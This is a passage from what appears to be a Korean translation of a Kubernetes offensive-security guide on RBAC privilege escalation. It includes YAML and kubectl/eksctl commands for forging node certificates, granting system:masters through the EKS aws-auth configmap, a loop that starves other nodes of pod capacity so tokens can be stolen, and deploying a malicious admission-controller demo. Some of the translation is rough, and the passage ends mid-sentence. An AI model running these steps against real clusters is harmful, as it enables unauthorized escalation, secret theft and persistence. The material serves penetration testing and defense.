certificatesigningrequests ๋ฆฌ์†Œ์Šค์— create ๋™์‚ฌ๊ฐ€ ์žˆ์œผ๋ฉด (๋˜๋Š” ์ตœ์†Œํ•œ certificatesigningrequests/nodeClient์— ์žˆ์œผ๋ฉด) ์ƒˆ ๋…ธ๋“œ์˜ ์ƒˆ๋กœ์šด CeSR์„ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋ฌธ์„œ์— ๋”ฐ๋ฅด๋ฉด ์ด ์š”์ฒญ์„ ์ž๋™์œผ๋กœ ์Šน์ธํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค, ๋”ฐ๋ผ์„œ ์ด ๊ฒฝ์šฐ ์ถ”๊ฐ€ ๊ถŒํ•œ์ด ํ•„์š”ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๊ทธ๋ ‡์ง€ ์•Š์œผ๋ฉด ์š”์ฒญ์„ ์Šน์ธํ•  ์ˆ˜ ์žˆ์–ด์•ผ ํ•˜๋ฉฐ, ์ด๋Š” certificatesigningrequests/approval์—์„œ ์—…๋ฐ์ดํŠธํ•˜๊ณ  signers์—์„œ <signerNameDomain>/<signerNamePath> ๋˜๋Š” <signerNameDomain>/*์˜ resourceName์œผ๋กœ approveํ•ด์•ผ ํ•จ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค.

๋ชจ๋“  ํ•„์š”ํ•œ ๊ถŒํ•œ์ด ์žˆ๋Š” ์—ญํ• ์˜ ์˜ˆ๋Š”:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve

๊ทธ๋ž˜์„œ, ์ƒˆ๋กœ์šด ๋…ธ๋“œ CSR์ด ์Šน์ธ๋˜๋ฉด, ๋…ธ๋“œ์˜ ํŠน๋ณ„ํ•œ ๊ถŒํ•œ์„ ์•…์šฉํ•˜์—ฌ ๋น„๋ฐ€์„ ํ›”์น˜๊ณ  ๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด ๊ฒŒ์‹œ๋ฌผ๊ณผ ์ด ๊ฒŒ์‹œ๋ฌผ์—์„œ GKE K8s TLS ๋ถ€ํŠธ์ŠคํŠธ๋žฉ ๊ตฌ์„ฑ์€ ์ž๋™ ์„œ๋ช…์œผ๋กœ ์„ค์ •๋˜์–ด ์žˆ์œผ๋ฉฐ, ์ด๋ฅผ ์•…์šฉํ•˜์—ฌ ์ƒˆ๋กœ์šด K8s ๋…ธ๋“œ์˜ ์ž๊ฒฉ ์ฆ๋ช…์„ ์ƒ์„ฑํ•œ ๋‹ค์Œ, ์ด๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋น„๋ฐ€์„ ํ›”์ณ ๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚ต๋‹ˆ๋‹ค. ์–ธ๊ธ‰๋œ ๊ถŒํ•œ์ด ์žˆ๋‹ค๋ฉด ๊ฐ™์€ ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ฒซ ๋ฒˆ์งธ ์˜ˆ์ œ๋Š” ์ƒˆ๋กœ์šด ๋…ธ๋“œ๊ฐ€ ์ปจํ…Œ์ด๋„ˆ ๋‚ด๋ถ€์˜ ๋น„๋ฐ€์— ์ ‘๊ทผํ•˜๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€ํ•˜๋Š” ์˜ค๋ฅ˜๋ฅผ ์šฐํšŒํ•˜๋Š”๋ฐ, ๋…ธ๋“œ๋Š” ์ž์‹ ์—๊ฒŒ ๋งˆ์šดํŠธ๋œ ์ปจํ…Œ์ด๋„ˆ์˜ ๋น„๋ฐ€๋งŒ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด๋ฅผ ์šฐํšŒํ•˜๋Š” ๋ฐฉ๋ฒ•์€ ํฅ๋ฏธ๋กœ์šด ๋น„๋ฐ€์ด ๋งˆ์šดํŠธ๋œ ์ปจํ…Œ์ด๋„ˆ์˜ ๋…ธ๋“œ ์ด๋ฆ„์— ๋Œ€ํ•œ ๋…ธ๋“œ ์ž๊ฒฉ ์ฆ๋ช…์„ ์ƒ์„ฑํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค (ํ•˜์ง€๋งŒ ์ฒซ ๋ฒˆ์งธ ๊ฒŒ์‹œ๋ฌผ์—์„œ ์ด๋ฅผ ์ˆ˜ํ–‰ํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ํ™•์ธํ•˜์„ธ์š”):

"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"

AWS EKS aws-auth configmaps

EKS ํด๋Ÿฌ์Šคํ„ฐ์˜ kube-system ๋„ค์ž„์ŠคํŽ˜์ด์Šค์—์„œ **configmaps**๋ฅผ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋Š” ์ฃผ์ฒด๋Š” aws-auth configmap์„ ๋ฎ์–ด์”€์œผ๋กœ์จ ํด๋Ÿฌ์Šคํ„ฐ ๊ด€๋ฆฌ์ž ๊ถŒํ•œ์„ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ•„์š”ํ•œ ๋™์‚ฌ๋Š” **update**์™€ patch, ๋˜๋Š” configmap์ด ์ƒ์„ฑ๋˜์ง€ ์•Š์€ ๊ฒฝ์šฐ **create**์ž…๋‹ˆ๋‹ค:

# Check if config map exists
get configmap aws-auth -n kube-system -o yaml

## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters

# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns

# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters

**aws-auth**๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋‹ค๋ฅธ ๊ณ„์ •์˜ ์‚ฌ์šฉ์ž์—๊ฒŒ ์ ‘๊ทผ ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•˜์—ฌ ์ง€์†์„ฑ์„ ์œ ์ง€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ํ•˜์ง€๋งŒ aws --profile other_account eks update-kubeconfig --name <cluster-name>๋Š” ๋‹ค๋ฅธ ๊ณ„์ •์—์„œ ์ž‘๋™ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์‹ค์ œ๋กœ aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing๋Š” ํด๋Ÿฌ์Šคํ„ฐ์˜ ARN์„ ์ด๋ฆ„ ๋Œ€์‹  ๋„ฃ์œผ๋ฉด ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค. kubectl์ด ์ž‘๋™ํ•˜๋„๋ก ํ•˜๋ ค๋ฉด ํฌ์ƒ์ž์˜ kubeconfig๋ฅผ ๊ตฌ์„ฑํ•˜๊ณ  aws exec args์— --profile other_account_role์„ ์ถ”๊ฐ€ํ•˜์—ฌ kubectl์ด ๋‹ค๋ฅธ ๊ณ„์ • ํ”„๋กœํ•„์„ ์‚ฌ์šฉํ•˜์—ฌ ํ† ํฐ์„ ๊ฐ€์ ธ์˜ค๊ณ  AWS์— ์—ฐ๋ฝํ•˜๋„๋ก ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

GKE์—์„œ์˜ ๊ถŒํ•œ ์ƒ์Šน

GCP ์ฃผ์ฒด์— K8s ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•˜๋Š” 2๊ฐ€์ง€ ๋ฐฉ๋ฒ•์ด ์žˆ์Šต๋‹ˆ๋‹ค. ์–ด๋–ค ๊ฒฝ์šฐ๋“  ์ฃผ์ฒด๋Š” ํด๋Ÿฌ์Šคํ„ฐ์— ์ ‘๊ทผํ•˜๊ธฐ ์œ„ํ•œ ์ž๊ฒฉ ์ฆ๋ช…์„ ์ˆ˜์ง‘ํ•  ์ˆ˜ ์žˆ๋„๋ก container.clusters.get ๊ถŒํ•œ์ด ํ•„์š”ํ•˜๋ฉฐ, ๊ทธ๋ ‡์ง€ ์•Š์œผ๋ฉด ์ž์‹ ์˜ kubectl ๊ตฌ์„ฑ ํŒŒ์ผ์„ ์ƒ์„ฑํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค (๋‹ค์Œ ๋งํฌ๋ฅผ ๋”ฐ๋ฅด์„ธ์š”).

K8s API ์—”๋“œํฌ์ธํŠธ์™€ ํ†ต์‹ ํ•  ๋•Œ GCP ์ธ์ฆ ํ† ํฐ์ด ์ „์†ก๋ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฐ ๋‹ค์Œ GCP๋Š” K8s API ์—”๋“œํฌ์ธํŠธ๋ฅผ ํ†ตํ•ด ์ฃผ์ฒด(์ด๋ฉ”์ผ๋กœ)๊ฐ€ ํด๋Ÿฌ์Šคํ„ฐ ๋‚ด์— ์ ‘๊ทผ ๊ถŒํ•œ์ด ์žˆ๋Š”์ง€ ๋จผ์ € ํ™•์ธํ•˜๊ณ , ๊ทธ ๋‹ค์Œ GCP IAM์„ ํ†ตํ•ด ์ ‘๊ทผ ๊ถŒํ•œ์ด ์žˆ๋Š”์ง€ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค. ์ด ์ค‘ ํ•˜๋‚˜๋ผ๋„ ์ฐธ์ด๋ฉด ์‘๋‹ต์ด ์žˆ์„ ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์•„๋‹ˆ๋ฉด GCP IAM์„ ํ†ตํ•ด ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•˜๋ผ๋Š” ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค.

์ฒซ ๋ฒˆ์งธ ๋ฐฉ๋ฒ•์€ GCP IAM์„ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์ด๋ฉฐ, K8s ๊ถŒํ•œ์€ ์ƒ์‘ํ•˜๋Š” GCP IAM ๊ถŒํ•œ์ด ์žˆ์œผ๋ฉฐ, ์ฃผ์ฒด๊ฐ€ ์ด๋ฅผ ๊ฐ€์ง€๊ณ  ์žˆ๋‹ค๋ฉด ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋‘ ๋ฒˆ์งธ ๋ฐฉ๋ฒ•์€ ํด๋Ÿฌ์Šคํ„ฐ ๋‚ด์—์„œ K8s ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•˜๋Š” ๊ฒƒ์œผ๋กœ, ์‚ฌ์šฉ์ž๋ฅผ ์ด๋ฉ”์ผ๋กœ ์‹๋ณ„ํ•ฉ๋‹ˆ๋‹ค (GCP ์„œ๋น„์Šค ๊ณ„์ • ํฌํ•จ).

์„œ๋น„์Šค ๊ณ„์ • ํ† ํฐ ์ƒ์„ฑ

TokenRequests (serviceaccounts/token)๋ฅผ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ๋Š” ์ฃผ์ฒด๋Š” K8s API ์—”๋“œํฌ์ธํŠธ์™€ ํ†ต์‹ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (์ •๋ณด๋Š” ์—ฌ๊ธฐ์—์„œ ํ™•์ธ).

ephemeralcontainers

update ๋˜๋Š” patch **pods/ephemeralcontainers**๋ฅผ ํ•  ์ˆ˜ ์žˆ๋Š” ์ฃผ์ฒด๋Š” ๋‹ค๋ฅธ pods์—์„œ ์ฝ”๋“œ ์‹คํ–‰์„ ์–ป์„ ์ˆ˜ ์žˆ์œผ๋ฉฐ, ํŠน๊ถŒ์ด ์žˆ๋Š” securityContext๋กœ ephemeral container๋ฅผ ์ถ”๊ฐ€ํ•˜์—ฌ ๋…ธ๋“œ์—์„œ ํƒˆ์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ValidatingWebhookConfigurations ๋˜๋Š” MutatingWebhookConfigurations

validatingwebhookconfigurations ๋˜๋Š” mutatingwebhookconfigurations์— ๋Œ€ํ•ด create, update ๋˜๋Š” patch ๋™์‚ฌ๋ฅผ ๊ฐ€์ง„ ์ฃผ์ฒด๋Š” ๊ถŒํ•œ ์ƒ์Šน์„ ์œ„ํ•ด ์ด๋Ÿฌํ•œ webhookconfigurations ์ค‘ ํ•˜๋‚˜๋ฅผ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

mutatingwebhookconfigurations ์˜ˆ์ œ๋Š” ์ด ๊ฒŒ์‹œ๋ฌผ์˜ ์ด ์„น์…˜์„ ํ™•์ธํ•˜์„ธ์š”.

๊ถŒํ•œ ์ƒ์Šน

๋‹ค์Œ ์„น์…˜์—์„œ ์ฝ์„ ์ˆ˜ ์žˆ๋“ฏ์ด: ๋‚ด์žฅ๋œ ๊ถŒํ•œ ์ƒ์Šน ๋ฐฉ์ง€, ์ฃผ์ฒด๋Š” ์ž์‹ ์ด ์ƒˆ๋กœ์šด ๊ถŒํ•œ์„ ๊ฐ€์ง€์ง€ ์•Š๊ณ ๋Š” ์—ญํ• ์ด๋‚˜ ํด๋Ÿฌ์Šคํ„ฐ ์—ญํ• ์„ ์—…๋ฐ์ดํŠธํ•˜๊ฑฐ๋‚˜ ์ƒ์„ฑํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. ๋‹จ, roles ๋˜๋Š” **clusterroles**์— ๋Œ€ํ•ด escalate ๋™์‚ฌ๋ฅผ ๊ฐ€์ง„ ๊ฒฝ์šฐ๋Š” ์˜ˆ์™ธ์ž…๋‹ˆ๋‹ค. ๊ทธ ๊ฒฝ์šฐ ๊ทธ๋Š” ๋” ๋‚˜์€ ๊ถŒํ•œ์„ ๊ฐ€์ง„ ์ƒˆ๋กœ์šด ์—ญํ• , ํด๋Ÿฌ์Šคํ„ฐ ์—ญํ• ์„ ์—…๋ฐ์ดํŠธ/์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋…ธ๋“œ ํ”„๋ก์‹œ

nodes/proxy ํ•˜์œ„ ๋ฆฌ์†Œ์Šค์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” ์ฃผ์ฒด๋Š” Kubelet API๋ฅผ ํ†ตํ•ด pods์—์„œ ์ฝ”๋“œ ์‹คํ–‰์„ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (์ •๋ณด๋Š” ์ด๊ณณ์—์„œ ํ™•์ธ). Kubelet ์ธ์ฆ์— ๋Œ€ํ•œ ๋” ๋งŽ์€ ์ •๋ณด๋Š” ์ด ํŽ˜์ด์ง€์—์„œ ํ™•์ธํ•˜์„ธ์š”:

Kubelet API์— ๊ถŒํ•œ์„ ๊ฐ€์ง€๊ณ  RCE๋ฅผ ์–ป๋Š” ๋ฐฉ๋ฒ•์˜ ์˜ˆ๋Š” ์—ฌ๊ธฐ์—์„œ ํ™•์ธํ•˜์„ธ์š”.

pods ์‚ญ์ œ + ์Šค์ผ€์ค„ ๋ถˆ๊ฐ€๋Šฅํ•œ ๋…ธ๋“œ

pods๋ฅผ ์‚ญ์ œํ•  ์ˆ˜ ์žˆ๋Š” ์ฃผ์ฒด(pods ๋ฆฌ์†Œ์Šค์— ๋Œ€ํ•œ delete ๋™์‚ฌ), ๋˜๋Š” pods๋ฅผ ํ‡ด๊ฑฐํ•  ์ˆ˜ ์žˆ๋Š” ์ฃผ์ฒด(pods/eviction ๋ฆฌ์†Œ์Šค์— ๋Œ€ํ•œ create ๋™์‚ฌ), ๋˜๋Š” pod ์ƒํƒœ๋ฅผ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ๋Š” ์ฃผ์ฒด(pods/status์— ๋Œ€ํ•œ ์ ‘๊ทผ)์™€ ๋‹ค๋ฅธ ๋…ธ๋“œ๋ฅผ ์Šค์ผ€์ค„ ๋ถˆ๊ฐ€๋Šฅํ•˜๊ฒŒ ๋งŒ๋“ค ์ˆ˜ ์žˆ๋Š” ์ฃผ์ฒด(nodes/status์— ๋Œ€ํ•œ ์ ‘๊ทผ) ๋˜๋Š” ๋…ธ๋“œ๋ฅผ ์‚ญ์ œํ•  ์ˆ˜ ์žˆ๋Š” ์ฃผ์ฒด(nodes ๋ฆฌ์†Œ์Šค์— ๋Œ€ํ•œ delete ๋™์‚ฌ)์™€ pod์— ๋Œ€ํ•œ ์ œ์–ด๊ถŒ์„ ๊ฐ€์ง„ ์ฃผ์ฒด๋Š” ๋‹ค๋ฅธ ๋…ธ๋“œ์—์„œ pods๋ฅผ ํ›”์ณ ์†์ƒ๋œ ๋…ธ๋“œ์—์„œ ์‹คํ–‰๋˜๋„๋ก ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๊ณต๊ฒฉ์ž๋Š” ์ด๋Ÿฌํ•œ pods์—์„œ ํ† ํฐ์„ ํ›”์น  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}

while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack

kubectl delete pods -n kube-system <privileged_pod_name>

์„œ๋น„์Šค ์ƒํƒœ (CVE-2020-8554)

**services/status**๋ฅผ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋Š” ์ฃผ์ฒด๋Š” status.loadBalancer.ingress.ip ํ•„๋“œ๋ฅผ ์„ค์ •ํ•˜์—ฌ ์ˆ˜์ •๋˜์ง€ ์•Š์€ CVE-2020-8554๋ฅผ ์•…์šฉํ•˜๊ณ  ํด๋Ÿฌ์Šคํ„ฐ์— ๋Œ€ํ•œ MiTM ๊ณต๊ฒฉ์„ ์‹œ์ž‘ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. CVE-2020-8554์— ๋Œ€ํ•œ ๋Œ€๋ถ€๋ถ„์˜ ์™„ํ™” ์กฐ์น˜๋Š” ExternalIP ์„œ๋น„์Šค๋งŒ ๋ฐฉ์ง€ํ•ฉ๋‹ˆ๋‹ค (์ด ๋งํฌ ์ฐธ์กฐ).

๋…ธ๋“œ ๋ฐ ํŒŒ๋“œ ์ƒํƒœ

nodes/status ๋˜๋Š” pods/status์— ๋Œ€ํ•œ update ๋˜๋Š” patch ๊ถŒํ•œ์ด ์žˆ๋Š” ์ฃผ์ฒด๋Š” ๋ ˆ์ด๋ธ”์„ ์ˆ˜์ •ํ•˜์—ฌ ๊ฐ•์ œ๋œ ์Šค์ผ€์ค„๋ง ์ œ์•ฝ์— ์˜ํ–ฅ์„ ์ค„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋‚ด์žฅ๋œ ๊ถŒํ•œ ์ƒ์Šน ๋ฐฉ์ง€

Kubernetes๋Š” ๊ถŒํ•œ ์ƒ์Šน์„ ๋ฐฉ์ง€ํ•˜๊ธฐ ์œ„ํ•œ ๋‚ด์žฅ ๋ฉ”์ปค๋‹ˆ์ฆ˜์„ ๊ฐ€์ง€๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

์ด ์‹œ์Šคํ…œ์€ ์‚ฌ์šฉ์ž๊ฐ€ ์—ญํ• ์ด๋‚˜ ์—ญํ•  ๋ฐ”์ธ๋”ฉ์„ ์ˆ˜์ •ํ•˜์—ฌ ๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚ฌ ์ˆ˜ ์—†๋„๋ก ๋ณด์žฅํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ทœ์น™์˜ ์‹œํ–‰์€ API ์ˆ˜์ค€์—์„œ ์ด๋ฃจ์–ด์ง€๋ฉฐ, RBAC ์ธ์ฆ์ž๊ฐ€ ๋น„ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์„ ๋•Œ์—๋„ ์•ˆ์ „ ์žฅ์น˜๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

๊ทœ์น™์€ ์‚ฌ์šฉ์ž๊ฐ€ ์—ญํ• ์„ ์ƒ์„ฑํ•˜๊ฑฐ๋‚˜ ์—…๋ฐ์ดํŠธํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒƒ์€ ๊ทธ ์—ญํ• ์ด ํฌํ•จํ•˜๋Š” ๋ชจ๋“  ๊ถŒํ•œ์„ ๋ณด์œ ํ•˜๊ณ  ์žˆ์„ ๋•Œ๋งŒ ๊ฐ€๋Šฅํ•˜๋‹ค๊ณ  ๋ช…์‹œํ•ฉ๋‹ˆ๋‹ค. ๋˜ํ•œ ์‚ฌ์šฉ์ž์˜ ๊ธฐ์กด ๊ถŒํ•œ ๋ฒ”์œ„๋Š” ์ƒ์„ฑํ•˜๊ฑฐ๋‚˜ ์ˆ˜์ •ํ•˜๋ ค๋Š” ์—ญํ• ์˜ ๋ฒ”์œ„์™€ ์ผ์น˜ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค: ClusterRoles์˜ ๊ฒฝ์šฐ ํด๋Ÿฌ์Šคํ„ฐ ์ „์ฒด์— ๋Œ€ํ•ด, Roles์˜ ๊ฒฝ์šฐ ๋™์ผํ•œ ๋„ค์ž„์ŠคํŽ˜์ด์Šค(๋˜๋Š” ํด๋Ÿฌ์Šคํ„ฐ ์ „์ฒด)์— ์ œํ•œ๋ฉ๋‹ˆ๋‹ค.

์ด์ „ ๊ทœ์น™์—๋Š” ์˜ˆ์™ธ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ์ฃผ์ฒด๊ฐ€ roles ๋˜๋Š” **clusterroles**์— ๋Œ€ํ•ด escalate ๋™์‚ฌ๋ฅผ ๊ฐ€์ง€๊ณ  ์žˆ๋‹ค๋ฉด, ์ž์‹ ์ด ๊ถŒํ•œ์„ ๊ฐ€์ง€๊ณ  ์žˆ์ง€ ์•Š๋”๋ผ๋„ ์—ญํ• ๊ณผ ํด๋Ÿฌ์Šคํ„ฐ ์—ญํ• ์˜ ๊ถŒํ•œ์„ ์ฆ๊ฐ€์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

RoleBindings/ClusterRoleBindings ๊ฐ€์ ธ์˜ค๊ธฐ ๋ฐ ํŒจ์น˜ํ•˜๊ธฐ

์ด ๊ธฐ์ˆ ์€ ์ด์ „์— ์ž‘๋™ํ–ˆ์ง€๋งŒ, ๋‚ด ํ…Œ์ŠคํŠธ์— ๋”ฐ๋ฅด๋ฉด ์ด์ „ ์„น์…˜์—์„œ ์„ค๋ช…ํ•œ ๋™์ผํ•œ ์ด์œ ๋กœ ๋” ์ด์ƒ ์ž‘๋™ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์ด๋ฏธ ๊ถŒํ•œ์ด ์—†๋Š” ๊ฒฝ์šฐ ์ž์‹ ์ด๋‚˜ ๋‹ค๋ฅธ SA์—๊ฒŒ ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•˜๊ธฐ ์œ„ํ•ด rolebinding์„ ์ƒ์„ฑ/์ˆ˜์ •ํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค.

Rolebindings๋ฅผ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ๋Š” ๊ถŒํ•œ์€ ์‚ฌ์šฉ์ž๊ฐ€ ์—ญํ• ์„ ์„œ๋น„์Šค ๊ณ„์ •์— ๋ฐ”์ธ๋”ฉํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ถŒํ•œ์€ ์‚ฌ์šฉ์ž๊ฐ€ ์†์ƒ๋œ ์„œ๋น„์Šค ๊ณ„์ •์— ๊ด€๋ฆฌ์ž ๊ถŒํ•œ์„ ๋ฐ”์ธ๋”ฉํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•˜์—ฌ ๊ถŒํ•œ ์ƒ์Šน์œผ๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ธฐํƒ€ ๊ณต๊ฒฉ

์‚ฌ์ด๋“œ์นด ํ”„๋ก์‹œ ์•ฑ

๊ธฐ๋ณธ์ ์œผ๋กœ ํŒŒ๋“œ ๊ฐ„์˜ ํ†ต์‹ ์—๋Š” ์•”ํ˜ธํ™”๊ฐ€ ์—†์Šต๋‹ˆ๋‹ค. ์ƒํ˜ธ ์ธ์ฆ, ์–‘๋ฐฉํ–ฅ, ํŒŒ๋“œ ๊ฐ„.

์‚ฌ์ด๋“œ์นด ํ”„๋ก์‹œ ์•ฑ ์ƒ์„ฑ

.yam ํŒŒ์ผ์„ ์ƒ์„ฑํ•˜์„ธ์š”.

kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'

.yam ํŒŒ์ผ์„ ํŽธ์ง‘ํ•˜๊ณ  ์ฃผ์„์ด ์—†๋Š” ์ค„์„ ์ถ”๊ฐ€ํ•˜์„ธ์š”:

#apiVersion: v1
#kind: Pod
#metadata:
#  name: security-context-demo
#spec:
#  securityContext:
#    runAsUser: 1000
#    runAsGroup: 3000
#    fsGroup: 2000
#  volumes:
#  - name: sec-ctx-vol
#    emptyDir: {}
#  containers:
#  - name: sec-ctx-demo
#    image: busybox
command: [ "sh", "-c", "apt update && apt install iptables -y && iptables -L && sleep 1h" ]
securityContext:
capabilities:
add: ["NET_ADMIN"]
#   volumeMounts:
#   - name: sec-ctx-vol
#     mountPath: /data/demo
#   securityContext:
#     allowPrivilegeEscalation: true

ํ”„๋ก์‹œ์˜ ๋กœ๊ทธ๋ฅผ ํ™•์ธํ•˜์„ธ์š”:

kubectl logs app -C proxy

๋” ๋งŽ์€ ์ •๋ณด๋Š” ๋‹ค์Œ์—์„œ ํ™•์ธํ•˜์„ธ์š”: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/

์•…์˜์ ์ธ Admission Controller

Admission controller๋Š” ๊ฐ์ฒด์˜ ์ง€์†ํ™” ์ด์ „์— Kubernetes API ์„œ๋ฒ„์— ๋Œ€ํ•œ ์š”์ฒญ์„ ๊ฐ€๋กœ์ฑ•๋‹ˆ๋‹ค, ํ•˜์ง€๋งŒ ์š”์ฒญ์ด ์ธ์ฆ๋˜๊ณ  ์ธ๊ฐ€๋œ ํ›„์— ๊ฐ€๋กœ์ฑ•๋‹ˆ๋‹ค.

๊ณต๊ฒฉ์ž๊ฐ€ ์–ด๋–ป๊ฒŒ๋“  Mutationg Admission Controller๋ฅผ ์ฃผ์ž…ํ•˜๋Š” ๋ฐ ์„ฑ๊ณตํ•œ๋‹ค๋ฉด, ๊ทธ๋Š” ์ด๋ฏธ ์ธ์ฆ๋œ ์š”์ฒญ์„ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. ์ด๋Š” ์ž ์žฌ์ ์œผ๋กœ ๊ถŒํ•œ ์ƒ์Šน์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•˜๋ฉฐ, ๋” ์ผ๋ฐ˜์ ์œผ๋กœ ํด๋Ÿฌ์Šคํ„ฐ์— ์ง€์†์ ์œผ๋กœ ๋‚จ์•„์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์˜ˆ์‹œ ์ถœ์ฒ˜ https://blog.rewanthtammana.com/creating-malicious-admission-controllers:

git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w

์ƒํƒœ๋ฅผ ํ™•์ธํ•˜์—ฌ ์ค€๋น„๊ฐ€ ๋˜์—ˆ๋Š”์ง€ ํ™•์ธํ•˜์‹ญ์‹œ์˜ค:

kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo

๊ทธ๋Ÿฐ ๋‹ค์Œ ์ƒˆ ํฌ๋“œ๋ฅผ ๋ฐฐํฌํ•ฉ๋‹ˆ๋‹ค:

kubectl run nginx --image nginx
kubectl get po -w

ErrImagePull ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•˜๋ฉด ๋‹ค์Œ ์ฟผ๋ฆฌ ์ค‘ ํ•˜๋‚˜๋กœ ์ด๋ฏธ์ง€ ์ด๋ฆ„์„ ํ™•์ธํ•˜์‹ญ์‹œ์˜ค:

